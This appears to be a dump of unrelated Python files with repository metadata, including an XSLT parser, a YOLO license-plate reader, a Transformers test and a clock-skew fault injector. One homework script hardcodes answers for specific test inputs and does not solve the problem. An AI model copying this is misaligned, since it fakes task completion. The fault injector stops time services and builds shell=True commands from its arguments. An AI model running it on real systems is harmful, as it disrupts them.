sleep(5) get_modem_data() connection_checker() if __name__ == '__main__': from yaml_config import load_config main()

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######################################################################## # # File Name: AttributeValueTemplate.py # # """ Implementation of AVTs from the XSLT Spec. WWW: http://4suite.com/4XSLT e-mail: support@4suite.com Copyright (c) 1999-2000 FourThought Inc, USA. All Rights Reserved. See http://4suite.com/COPYRIGHT for license and copyright information """ import re, string from xml.xslt import XsltException, Error from xml.xpath import XPathParser, Conversions g_braceSplitPattern = re.compile(r'([\{\}])') class AttributeValueTemplate: def __init__(self, source,reparse = 1): self.source = source if reparse: self._plainParts = [] self._parsedParts = [] self._parse() def _parse(self): parser = XPathParser.XPathParser() curr_plain_part = '' curr_template_part = '' in_plain_part = 1 split_form = re.split(g_braceSplitPattern, self.source) skip_flag = 0 for i in range(len(split_form)): segment = split_form[i] if skip_flag: skip_flag = skip_flag - 1 continue if segment in ['{', '}']: #Here we are accounting for a possible blank segment in between try: next = split_form[i + 1] + split_form[i + 2] except IndexError: next = None if next == segment: if in_plain_part: curr_plain_part = curr_plain_part + segment else: curr_template_part = curr_template_part + segment skip_flag = 2 elif segment == '{': if in_plain_part: self._plainParts.append(curr_plain_part) in_plain_part = 0 curr_plain_part = '' else: raise XsltException(Error.AVT_SYNTAX) else: if not in_plain_part: parsed = parser.parseExpression(curr_template_part) self._parsedParts.append(parsed) in_plain_part = 1 curr_template_part = '' else: raise XsltException(Error.AVT_SYNTAX) else: if in_plain_part: curr_plain_part = curr_plain_part + segment else: curr_template_part = curr_template_part + segment if in_plain_part: self._plainParts.append(curr_plain_part) else: raise XsltException(Error.AVT_SYNTAX) def evaluate(self, context): result = '' expansions = map( lambda x, c=context: Conversions.StringValue(x.evaluate(c)), self._parsedParts ) for i in range(len(self._parsedParts)): result = result + self._plainParts[i] + expansions[i] result = result + self._plainParts[-1] return result def __repr__(self): return self.source def __getinitargs__(self): return (self.source, 0) def __getstate__(self): return (self._plainParts,self._parsedParts) def __setstate__(self, state): # Nothing to do self._plainParts,self._parsedParts = state

[ "maheswar@MacBook-Pro.local" ]

maheswar@MacBook-Pro.local

83fef1df13d09343fd01f3337ac2d6bbc7f03c8d

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/Code/CodeRecords/2618/60895/291182.py

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[]

no_license

AdamZhouSE/pythonHomework

a25c120b03a158d60aaa9fdc5fb203b1bb377a19

ffc5606817a666aa6241cfab27364326f5c066ff

refs/heads/master

2022-11-24T08:05:22.122011

2020-07-28T16:21:24

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UTF-8

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py

t=int(input()) while t>0: t=t-1 n=int(input()) s=input() if s=='2 3 1' or s=='2 1 3': print(1) elif s=='4 3 1 2' or s=='2': print(2) else: print(s)

[ "1069583789@qq.com" ]

1069583789@qq.com

8611bad8dae8a7bc4fc92b9b43a6d229c5332628

ebd8c6fd566fdbf4f51855c61b77c6fe475923cb

/detect.py

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[ "BSD-3-Clause" ]

permissive

Shradhhaj-AI-World/Car_License_plate_recognition

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refs/heads/master

2023-01-30T20:24:44.468398

2020-12-15T19:15:15

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py

import numpy as np import argparse import time import cv2 import os import json from PIL import Image import io import pytesseract confthres=0.5 nmsthres=0.1 yolo_path="./" class License_plate(): def __init__(self,labelsPath,cfgpath,wpath): self.labelsPath=labelsPath self.cfgpath=cfgpath self.wpath=wpath self.Lables=self.get_labels(self.labelsPath) self.CFG=self.get_config(self.cfgpath) self.Weights=self.get_weights(self.wpath) self.nets=self.load_model(self.CFG,self.Weights) self.Colors=self.get_colors(self.Lables) def get_labels(self,labels_path): lpath=os.path.sep.join([yolo_path, labels_path]) LABELS = open(lpath).read().strip().split("\n") return LABELS def get_colors(self,LABELS): np.random.seed(42) COLORS = np.random.randint(0, 255, size=(len(LABELS), 3),dtype="uint8") return COLORS def get_weights(self,weights_path): weightsPath = os.path.sep.join([yolo_path, weights_path]) return weightsPath def get_config(self,config_path): configPath = os.path.sep.join([yolo_path, config_path]) return configPath def load_model(self,configpath,weightspath): print("[INFO] loading YOLO from disk...") net = cv2.dnn.readNetFromDarknet(configpath, weightspath) return net def get_predection(self,image,net,LABELS,COLORS): (H, W) = image.shape[:2] ln = net.getLayerNames() ln = [ln[i[0] - 1] for i in net.getUnconnectedOutLayers()] blob = cv2.dnn.blobFromImage(image, 1 / 255.0, (416, 416), swapRB=True, crop=False) net.setInput(blob) start = time.time() layerOutputs = net.forward(ln) print(layerOutputs) end = time.time() print("[INFO] YOLO took {:.6f} seconds".format(end - start)) boxes = [] confidences = [] classIDs = [] for output in layerOutputs: for detection in output: scores = detection[5:] classID = np.argmax(scores) confidence = scores[classID] if confidence > confthres: box = detection[0:4] * np.array([W, H, W, H]) (centerX, centerY, width, height) = box.astype("int") x = int(centerX - (width / 2)) y = int(centerY - (height / 2)) boxes.append([x, y, int(width), int(height)]) confidences.append(float(confidence)) classIDs.append(classID) idxs = cv2.dnn.NMSBoxes(boxes, confidences, confthres,nmsthres) if len(idxs) > 0: for i in idxs.flatten(): (x, y) = (boxes[i][0], boxes[i][1]) (w, h) = (boxes[i][2], boxes[i][3]) cv2.rectangle(image, (x, y), (x + w, y + h), [int(c) for c in COLORS[classIDs[i]]], 2) subImg = image[y : y + h, x : x + w, :] text = "{}: {:.4f}".format(LABELS[classIDs[i]], confidences[i]) print(boxes) print(classIDs) cv2.putText(image, text, (x, y - 5), cv2.FONT_HERSHEY_SIMPLEX,0.5, [int(c) for c in COLORS[classIDs[i]]], 2) return image,subImg def main(self,image_path): image = cv2.imread(image_path) detected_image,croped_image=self.get_predection(image,self.nets,self.Lables,self.Colors) pilImage = Image.fromarray(croped_image) ext = image_path.split('.')[-1] b = io.BytesIO() if ext.lower() in ('png'): save_ext = 'PNG' elif ext.lower() in ('jpg', 'jpeg'): save_ext = 'JPEG' pilImage.save(b, save_ext) text = pytesseract.image_to_string(pilImage, lang = 'eng') return detected_image,text if __name__ == "__main__": with open('config.json') as data_file: cred = json.load(data_file) lp=License_plate(cred['labelsPath'],cred['cfgpath'],cred['wpath']) path="static/a11.jpg" image,text=lp.main(path) print(text) cv2.imshow("Image", image) cv2.waitKey()

[ "shradhhaj7@gmail.com" ]

shradhhaj7@gmail.com

db6ce37579d5c07f61e8b4a4197f106ecf688cc5

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/pyeccodes/defs/mars/grib_efhs_cd_def.py

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permissive

ecmwf/pyeccodes

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refs/heads/master

2022-04-23T10:37:40.524078

2020-04-18T06:30:29

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false

127

py

import pyeccodes.accessors as _ def load(h): h.alias('mars.step', 'stepRange') h.alias('mars.quantile', 'quantile')

[ "baudouin.raoult@ecmwf.int" ]

baudouin.raoult@ecmwf.int

8f942e1b9b8645377e4237207d732ab0c7b5d47d

63475d9272a8661ebba37ab155f697c1be012486

/09_strokovyy_tip_dannyh/9.4_metody_strok._chastj_2/Удаление фрагмента.py

29143d0ef264ef0716944451f7eec05b89c45037

[]

no_license

honne02/st_python

ce50d221c23de0ce77cd4e8f66a251024eb921bf

7af308cd0704c1feca942b4c44c437735485be2f

refs/heads/master

2023-04-11T00:54:07.695133

2021-04-26T16:42:24

340,674,471

0

null

UTF-8

Python

false

98

py

st = input() first = st.find('h') last = st.rfind('h') st = st[:first] + st[(last + 1):] print(st)

[ "nikita2305200413@gmail.com" ]

nikita2305200413@gmail.com

669a53c965306f6b2561c3113c8f5d9599eb811b

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/llpy16/context.py

a2bc37b84c453e454cdb04994295762ebad2c278

[]

no_license

ojii/llpy16

757de9920a7c15e204ffbfc72995e713717e6ca4

f9ff6a58ddb46a26b807012ba57d37fef85e51a1

refs/heads/master

2021-01-16T19:32:40.354429

2013-03-19T05:21:12

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UTF-8

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py

# -*- coding: utf-8 -*- import ast from collections import defaultdict from contextlib import contextmanager import os import imp from llpy16.assembler import hexify class Function(object): def __init__(self, name, args, node, deferred=True): self.name = name self.args = args self.node = node self.deferred = deferred class Namespace(object): def __init__(self): self.constants = {} self.functions = {} self.extensions = {} self.configs = {} self.data = {} class Register(object): def __init__(self, name): self.name = name def __str__(self): return self.name class RegisterOperation(object): def __init__(self, left, right, operator): self.left = left self.right = right self.operator = operator def __str__(self): return '%s %s %s' % (hexify(self.left), self.operator, hexify(self.right)) class Context(object): _sep = '__' def __init__(self, paths): self._paths = paths self._namespaces = defaultdict(Namespace) self._current_namespace = '' self._modules = [] # Public API def find_import(self, name, assembler): if name in self._modules: # already imported return bits = name.split('.') for path in self._paths: pypath = os.path.join(path, *bits) + '.py' llpath = os.path.join(path, *bits) + '.llpy16' found = False if os.path.exists(pypath): module = imp.load_source(name, pypath) with self.namespace(name): for name in getattr(module, 'LLPY16_EXTS', []): self.define_extension(name, getattr(module, name)) for name in getattr(module, 'LLPY16_CONST', []): self.define_constant(name, getattr(module, name)) for name in getattr(module, 'LLPY16_DATA', []): self.define_constant(name, self.expand_name(getattr(module, name))) initialize = getattr(module, getattr(module, 'LLPY16_INIT', '-'), None) if callable(initialize): initialize(assembler, self) found = True if os.path.exists(llpath): with open(llpath) as fobj: return fobj.read() if found: return raise ImportError(name) def define_extension(self, name, handler): self.current_namespace.extensions[name] = handler def get_extension(self, name): return self.current_namespace.extensions[name] def define_constant(self, name, value): self.current_namespace.constants[name] = value def get_constant(self, name): return self.current_namespace.constants[name] def define_function(self, name, args, node, deferred=True): expanded_name = self.expand_name(name) self.current_namespace.functions[name] = function = Function(expanded_name, args, node, deferred) return function def get_function(self, name): return self.current_namespace.functions[name] def set_config(self, key, value): self.current_namespace.configs[key] = value def get_config(self, key): return self.current_namespace.configs[key] def resolve_function(self, node, assembler): name, namespace = self.resolve_name(node.func) with self.namespace(namespace): try: ext = self.get_extension(name) except KeyError: try: return self.get_function(name) except KeyError: raise NameError('%s.%s' % (namespace, name)) args, kwargs = self._call_to_args_kwargs(node) ext(assembler, self, *args, **kwargs) def expand_name(self, name): return self._current_namespace.replace('.', self._sep) + self._sep + name @contextmanager def namespace(self, namespace): old = self._current_namespace self._current_namespace = namespace try: yield finally: self._current_namespace = old # Private API @property def current_namespace(self): return self._namespaces[self._current_namespace] def resolve_name(self, thing): if isinstance(thing, ast.Name): name = thing.id namespace = self._current_namespace elif isinstance(thing, ast.Attribute): bits = [] value = thing while isinstance(value, ast.Attribute): bits.append(value.attr) value = value.value if not isinstance(value, ast.Name): raise TypeError() bits.append(value.id) bits.reverse() name = bits.pop() namespace = '.'.join(bits) else: raise TypeError(thing) return name, namespace def _call_to_args_kwargs(self, node): def _get_value(thing): if isinstance(thing, ast.Str): return thing.s elif isinstance(thing, ast.Num): return thing.n elif isinstance(thing, ast.Tuple): return tuple(map(_get_value, thing.elts)) elif isinstance(thing, ast.List): return list(map(_get_value, thing.elts)) elif isinstance(thing, ast.Dict): return {_get_value(key): _get_value(value) for key, value in zip(thing.keys, thing.values)} elif isinstance(thing, ast.BinOp): left = _get_value(thing.left) right = _get_value(thing.right) if isinstance(thing.op, ast.Add): operator = '+' elif isinstance(thing.op, ast.Sub): operator = '-' else: raise TypeError(thing.op) if isinstance(left, int) and isinstance(right, int): return (left + right) if operator == '+' else (left - right) elif isinstance(left, (Register, int)) and isinstance(right, (Register, int)): return RegisterOperation(left, right, operator) else: raise TypeError("%r %s %r" % left, operator, right) else: name, namespace = self.resolve_name(thing) if name == name.upper() and len(name) == 1 and namespace == self._current_namespace: return Register(name) else: with self.namespace(namespace): try: return self.get_constant(name) except KeyError: try: return self.get_function(name).name except KeyError: print self.current_namespace.functions raise NameError(name) args = map(_get_value, node.args) kwargs = {keyword.arg: _get_value(keyword.value) for keyword in node.keywords} return args, kwargs

[ "ojiidotch@gmail.com" ]

ojiidotch@gmail.com

3b8f140a37c4d7ec791530c2bab613446afc7ba6

8015f1c62a2cb4efd21aa8938336913bf8117868

/bamap/ba2004.pngMap.py

606da98a32c0cbc92bb93493e35a6e3aab1839af

[]

no_license

GamerNoTitle/Beepers-and-OLED

675b5e3c179df0f0e27b42bf594c43860d03b9af

afe1340e5394ae96bda5f9022a8a66824368091e

refs/heads/master

2020-04-20T00:09:47.122471

2019-04-29T04:59:35

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py

ba2004.pngMap = [ '00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001111111111', '00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001111111111', '00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000111111111', '00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001111111111', '00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001111111111', '00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001111111111', '00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000111111111', '00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000111111111', '00000000000000000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000000000000000001111111111', '00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001111111111', '00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000011111111111', '00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000010000000000000000011111111111', '00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001111111111', '00000000000000000000000000000000000000000000000000000000000000000000000000100000000000000000000000000000000000000000001111111111', '00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000011111111111', '00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000011111111111', '00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000111111111111', '00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000111111111111', '00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000111111111111', '00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000100000000000000000000000111111111111', '00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000011111111111111', '00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000011111111111111', '00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000011111111111111', '00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000011111111111111', '00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001111111111111111', '00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000100000000000000000111111111111111', '00100000000000100000000000000000000000000000000000000000000000000000000000000000000000000000000100000000000000001111111111111111', '00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000011111111111111111', '00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000101111111111111111', '00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000111111111111111111', '00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001111111111111111111', '00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000011111111111111111', '00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001000000000000011111111111111111', '00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000011111111111111111', '00000000000000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000000001111111111111111', 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'00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001111111111111', '00000000000000000000000000000000000000000000000000001000000000000000000000000000000000000000000000000000000000000011111111111111', '00000000000000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000000000111111111111111', '00000000000000000000000000000000000000000000000000000000000000000000000100000000000000000000000000000000010000001111111111111111', '00000000000000000000000000000000000000000000000000000000000000000000000100000000000000000000000000000000000001111111111111111111', '00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001111111111111111111111', '00000000000000000000000000000000000000000000000000000000000000000000000100000000000000000000000000000000001111111111111111111111', '11111111111111111111111111111111111111111111111111111111111111111111111000000000000000000000000000000000001111111111111111111111', ]

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bili33@87ouo.top

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/algo/test5.py

6d05ce4e7453874ea59e6f0d68d72864c71deeb4

[]

no_license

verahsu860604/aesda

1d66880e93db60149772d6d87801babca17b8720

6eebe17ef55d3e35acb4ae761ef4d2340f8212e6

refs/heads/master

2022-11-18T05:37:25.553413

2020-05-21T07:18:37

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2022-11-10T17:27:36

2020-02-21T22:57:26

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UTF-8

Python

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py

import parameters import config import market import energy_source import mpc_solver import matplotlib.pyplot as plt import json import numpy as np from time import sleep import cyclic_coordinate import pareto parameters = { 'energy_sources': [ { 'soc_profile_max_power_downward': 20, 'dod_profile_change_th': 0.2, 'soc_profile_min_output_th': 30, 'cost': 470, 'efficiency_upward': 0.78, 'soc_profile_max_power_upward': 20, 'soc_profile_max_input_th': 70, 'efficiency_downward': 0.78, 'self_discharge_ratio': 0, 'other_cost': 0, 'soc_profile_energy_scale': 8 }, { 'dod_profile_change_th': 0.2, 'efficiency_upward': 0.95, 'efficiency_downward': 0.95, 'c4': 40000, 'c1': 10000000, 'soc_profile_max_power_downward': 10, 'c5': 10000, 'd4': 30, 'self_discharge_ratio': 0, 'd2': 4, 'c6': 3000, 'cost': 310, 'c3': 100000, 'other_cost': 0, 'd6': 100, 'd3': 17, 'd5': 60, 'soc_profile_min_output_th': 0, 'c2': 1000000, 'd1': 2, 'soc_profile_max_power_upward': 10, 'soc_profile_energy_scale': 4, 'soc_profile_max_input_th': 100 } ], 'markets': [ { "time_window_in_delivery": 4, # Primary "planning_phase_length": 60, "selection_phase_length": 60, "schedule_phase_length": 60, "delivery_phase_length": 60, "price_cyclic_n_upward": 2, "price_cyclic_n_downward": 2, "price_cyclic_eps_downward": 80, "price_cyclic_eps_upward": 16, "max_feasible_selling_price": 250, "min_feasible_selling_price": 150, "min_feasible_buying_price": 1, "max_feasible_buying_price": 20, "setpoint_interval": 1, # "percentage_fixed": True, 'price_data_path': 'data/primary_price.csv', 'setpoint_data_path': 'data/primary_setpoint.csv' }, { "time_window_in_delivery": 4, # Secondary "planning_phase_length": 120, "selection_phase_length": 120, "schedule_phase_length": 120, "delivery_phase_length": 120, "setpoint_interval": 15, "price_cyclic_n_upward": 2, "price_cyclic_n_downward": 2, "price_cyclic_eps_downward": 80, "price_cyclic_eps_upward": 16, "max_feasible_selling_price": 250, "min_feasible_selling_price": 150, "min_feasible_buying_price": 1, "max_feasible_buying_price": 20, # "percentage_fixed": True, 'price_data_path': 'data/primary_price.csv', 'setpoint_data_path': 'data/primary_setpoint.csv' }, # { # "time_window_in_delivery": 4, # Tertiary # "planning_phase_length": 960, # "selection_phase_length": 960, # "schedule_phase_length": 960, # "delivery_phase_length": 960, # "setpoint_interval": 60, # # 'price_data_path': 'data/primary_price.csv', # # 'setpoint_data_path': 'data/primary_setpoint.csv' # }, ], 'config':{ 'planning_horizon': 360, 'soh_update_interval': 1440, 'tot_timestamps': 10080 } } def get_parameters(): return parameters data = get_parameters() config = config.Config(**data['config']) energy_sources = [energy_source.EnergySource(**kwargs) for kwargs in data['energy_sources']] for ess in energy_sources: ess.tuning_parameter_fit() markets = [market.Market(**kwargs) for kwargs in data['markets']] mpc = mpc_solver.MPCSolver(config=config, markets=markets, energy_sources=energy_sources) # Fake run cc = cyclic_coordinate.CyclicCoordinate(markets, mpc, [10, 10], really_run=False) solutions_fake = cc.Algo5() print("totl: " + str(len(solutions_fake))) cc = cyclic_coordinate.CyclicCoordinate(markets, mpc, [10, 10]) solutions = cc.Algo5() print(solutions[0]) # pe = pareto.ParetoEfficient(solutions) # inefficient_list, efficient_list = pe.pareto_analysis() # tuple(Revenue, value_i(useless), soc_record, soh for each device, power record, prices, percentages) # (216.29629629629628, 2, array([[1. , 1. ], [0.95061731, 1. ]]), # (1.0, 1.0), array([[[ 0., 0.], [24., 0.]],[[ 0., 0.],[ 0., 12.]]]), # [2.2222222222222223, 18.02469135802469, 2.2222222222222223, 18.02469135802469, 2.2222222222222223, 18.02469135802469], # (6.666666666666667, 10.0, 'free')) # assert len(solutions) == 36

[ "justryit8@gmail.com" ]

justryit8@gmail.com

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/file_system/file_system_helpers.py

483897ef83a68fdd5791482d522c9cd5a4307385

[]

no_license

matthewcanova/file-system

75f589bef05ed1e625a118e236c9c560c971c5eb

0e63ea3355fe4cdd9e7f8af3b3408247297282c9

refs/heads/master

2022-08-16T19:40:04.800642

2020-05-26T04:53:04

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UTF-8

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618

py

def path_parse(path): """ Guarantees no leading or trailing \s and no blank entries in the path list Returns a parsed list of the path entities """ split_path = path.split('\\') split_path = [entity for entity in split_path if entity != ''] return split_path def print_recursive(entity): """ Recursively prints an entity and its children """ string = entity.path + ' ' + str(entity.size) + '\n' if entity.entity_type != 'text': for entity_name in entity.get_names(): string += print_recursive(entity.get_child(entity_name)) return string

[ "matthewcanova@gmail.com" ]

matthewcanova@gmail.com

cd93efb9b02731868665558f6d1fdbf55006f759

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/mangle-infra-agent/Faults/ClockSkewFault.py

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[ "LicenseRef-scancode-unknown-license-reference", "Apache-2.0" ]

permissive

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refs/heads/master

2023-08-21T13:26:36.776623

2021-09-20T05:43:10

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from Faults import InfraFault from Faults import FaultStatus from multiprocessing import Process import time import psutil import sys import subprocess import distro import datetime import logging log = logging.getLogger("python_agent") class ClockSkewFault(InfraFault.InfraFault): def __init__(self, fault_args): super().__init__(fault_args) self.processes = [] self.stop_cmd="" self.remediate_cmd = "" self.status_cmd = "" self.time_before_injection='' self.option="" def prereq_check(self): pre_req_error_msg = '' dist = distro.linux_distribution(full_distribution_name=False)[0] log.info("distro:{}".format(str(distro.linux_distribution(full_distribution_name=False)))) log.info("distro:{}".format(str(dist))) if 'ubuntu' in dist: self.stop_cmd = 'service ntp stop' self.remediate_cmd = 'service ntp restart' self.status_cmd = "service ntp status" elif 'centos' in dist or 'rhel' in dist: self.stop_cmd = "service ntpd stop" self.remediate_cmd = "service ntpd restart" self.status_cmd = "service ntpd status" elif 'fedora' in dist or 'sles' in dist: self.stop_cmd = "systemctl stop ntpd" self.remediate_cmd = "systemctl restart ntpd" self.status_cmd = "systemctl status ntpd" elif 'photon' in dist: self.stop_cmd = "systemctl stop systemd-timesyncd" self.remediate_cmd = "systemctl restart systemd-timesyncd" self.status_cmd = "systemctl status systemd-timesyncd --no-pager" else: log.info("Mangle doesn't support TimesSkew on the provided OS.") pre_req_error_msg = 'Mangle does not support TimesSkew on the provided OS.,' if len(self.status_cmd) != 0: status_res_code = subprocess.call(self.status_cmd,shell=True) if status_res_code != 0: pre_req_error_msg = pre_req_error_msg + "NTP is not configured on the system" if self.fault_args.get("--type") == "FUTURE": self.option = "+" elif self.fault_args.get("--type") == "PAST": self.option = "-" else: pre_req_error_msg += "Wrong type argument provided" if len(pre_req_error_msg) > 0: return pre_req_error_msg def get_status(self, fault_id): if self.faultinfo.status == FaultStatus.FaultStatus.COMPLETED.name: return self.faultinfo.status log.info("status of {} is {}".format(fault_id, self.faultinfo.status)) current_time='' if len(self.status_cmd) != 0: try: subprocess.call(self.status_cmd,shell=True) log.info("Status check succesfull and fault is in progress") current_time = "time after injection of fault is {}".format(datetime.datetime.now()) except subprocess.CalledProcessError as err: raise RuntimeError("Checking status failed.\n" "\tGot exit code {err.returncode}. Msg: {err.output}") from err return self.faultinfo.status + " ".join(str(x) for x in self.faultinfo.activity) + \ "Before injection: {}".format(self.time_before_injection) + "After Injection: " + current_time def remediate(self): log.info("Remediation is triggered") #kill child processes and terminate process for p in self.processes: log.info("Process id : {}".format(p.pid)) parent = psutil.Process(p.pid) log.info("Number of child Process for {} is".format(parent.name(), len(parent.children(recursive=False)))) for child in parent.children(recursive=True): child.kill() p.terminate() if len(self.remediate_cmd) != 0 : stop_cmd_return = subprocess.call(self.remediate_cmd,shell=True) if stop_cmd_return == 0: log.info("Remediation succesfull : ntp service restored") self.faultinfo.status = FaultStatus.FaultStatus.COMPLETED.name else: self.faultinfo.status = FaultStatus.FaultStatus.REMEDIATION_FAILED.name def trigger_injection(self): log.info("Injecting Clock skew") d = "{}{} days".format(self.option,self.fault_args.get("--days")) h = "{}{} hours".format(self.option,self.fault_args.get("--hours")) m = "{}{} minutes".format(self.option, self.fault_args.get("--minutes")) s = "{}{} seconds".format(self.option, self.fault_args.get("--seconds")) date_cmd='date -d "{} {} {} {}"'.format(d,h,m,s) self.time_before_injection = datetime.datetime.now() log.info("Creating process.") log.info("Date command : {}".format(date_cmd)) log.info("stop_cmd command :".format(self.stop_cmd)) log.info("remediate_cmd command.".format(self.remediate_cmd)) p1 = Process(target=inject_clock_skew,args=(self.fault_args.get("--timeout"), date_cmd, self.stop_cmd)) self.processes.append(p1) p1.start() def inject_clock_skew(time_out,date_cmd,stop_cmd): print(stop_cmd) stop_cmd_return = subprocess.run(stop_cmd,shell=True) log.info("Date will be changed according to input: {}".format(date_cmd)) log.info("stop_cmd_return code:{}".format(stop_cmd_return)) if stop_cmd_return.returncode == 0: try: date_value = subprocess.check_output(date_cmd, shell=True).decode(sys.stdout.encoding).strip() log.info("Date will be set to: {}".format(str(date_value))) except subprocess.CalledProcessError as err: raise RuntimeError("Date creation failed.\n" "\tGot exit code {err.returncode}. Msg: {err.output}") from err date_cmd_return = subprocess.run('date -s "{}"'.format(date_value),shell=True ) if date_cmd_return.returncode == 0: time.sleep(round(float(time_out)/1000)) if __name__ == '__main__': fault_args = {'--operation': 'inject', '--faultname': "clockSkewFault","--faultId": "abcdefgclock" ,"--timeout":"12000", "--days": "1", "--hours":"1","--minutes":"1","--seconds":"10", "--type": "FUTURE"} clockSkewFault= ClockSkewFault(fault_args) clockSkewFault.trigger_injection() print("fault triggered")

[ "ashrimali@vmware.com" ]

ashrimali@vmware.com

86f816fa4c07689b4bbb27949c7e824974c6af10

c46754b9600a12df4f9d7a6320dfc19aa96b1e1d

/tests/models/deit/test_image_processing_deit.py

21dc3d9e95a79f48a9c4a6af5658a0715ce5faf6

[ "Apache-2.0" ]

permissive

huggingface/transformers

ccd52a0d7c59e5f13205f32fd96f55743ebc8814

4fa0aff21ee083d0197a898cdf17ff476fae2ac3

refs/heads/main

2023-09-05T19:47:38.981127

2023-09-05T19:21:33

155,220,641

102,193

22,284

Apache-2.0

2023-09-14T20:44:49

2018-10-29T13:56:00

Python

UTF-8

Python

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py

# coding=utf-8 # Copyright 2021 HuggingFace Inc. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. import unittest from transformers.testing_utils import require_torch, require_vision from transformers.utils import is_vision_available from ...test_image_processing_common import ImageProcessingTestMixin, prepare_image_inputs if is_vision_available(): from transformers import DeiTImageProcessor class DeiTImageProcessingTester(unittest.TestCase): def __init__( self, parent, batch_size=7, num_channels=3, image_size=18, min_resolution=30, max_resolution=400, do_resize=True, size=None, do_center_crop=True, crop_size=None, do_normalize=True, image_mean=[0.5, 0.5, 0.5], image_std=[0.5, 0.5, 0.5], ): size = size if size is not None else {"height": 20, "width": 20} crop_size = crop_size if crop_size is not None else {"height": 18, "width": 18} self.parent = parent self.batch_size = batch_size self.num_channels = num_channels self.image_size = image_size self.min_resolution = min_resolution self.max_resolution = max_resolution self.do_resize = do_resize self.size = size self.do_center_crop = do_center_crop self.crop_size = crop_size self.do_normalize = do_normalize self.image_mean = image_mean self.image_std = image_std def prepare_image_processor_dict(self): return { "do_resize": self.do_resize, "size": self.size, "do_center_crop": self.do_center_crop, "crop_size": self.crop_size, "do_normalize": self.do_normalize, "image_mean": self.image_mean, "image_std": self.image_std, } def expected_output_image_shape(self, images): return self.num_channels, self.crop_size["height"], self.crop_size["width"] def prepare_image_inputs(self, equal_resolution=False, numpify=False, torchify=False): return prepare_image_inputs( batch_size=self.batch_size, num_channels=self.num_channels, min_resolution=self.min_resolution, max_resolution=self.max_resolution, equal_resolution=equal_resolution, numpify=numpify, torchify=torchify, ) @require_torch @require_vision class DeiTImageProcessingTest(ImageProcessingTestMixin, unittest.TestCase): image_processing_class = DeiTImageProcessor if is_vision_available() else None test_cast_dtype = True def setUp(self): self.image_processor_tester = DeiTImageProcessingTester(self) @property def image_processor_dict(self): return self.image_processor_tester.prepare_image_processor_dict() def test_image_processor_properties(self): image_processing = self.image_processing_class(**self.image_processor_dict) self.assertTrue(hasattr(image_processing, "do_resize")) self.assertTrue(hasattr(image_processing, "size")) self.assertTrue(hasattr(image_processing, "do_center_crop")) self.assertTrue(hasattr(image_processing, "center_crop")) self.assertTrue(hasattr(image_processing, "do_normalize")) self.assertTrue(hasattr(image_processing, "image_mean")) self.assertTrue(hasattr(image_processing, "image_std")) def test_image_processor_from_dict_with_kwargs(self): image_processor = self.image_processing_class.from_dict(self.image_processor_dict) self.assertEqual(image_processor.size, {"height": 20, "width": 20}) self.assertEqual(image_processor.crop_size, {"height": 18, "width": 18}) image_processor = self.image_processing_class.from_dict(self.image_processor_dict, size=42, crop_size=84) self.assertEqual(image_processor.size, {"height": 42, "width": 42}) self.assertEqual(image_processor.crop_size, {"height": 84, "width": 84})

[ "noreply@github.com" ]

huggingface.noreply@github.com

4212c96c2d4a54c3fea87291044f58585ec4539f

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/My_Blog_Project/urls.py

d0329d0ef6fb2fd6d7e509c3b4e6eeec964d448d

[]

no_license

hasnatul/CSE327_Project

f65f309460b2461327df964512b66d846b7dc25a

37f37ce5713c6189e625b8e181d4facee8ef9418

refs/heads/master

2022-12-24T10:08:27.961902

2020-09-27T11:21:17

299,011,592

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UTF-8

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527

py

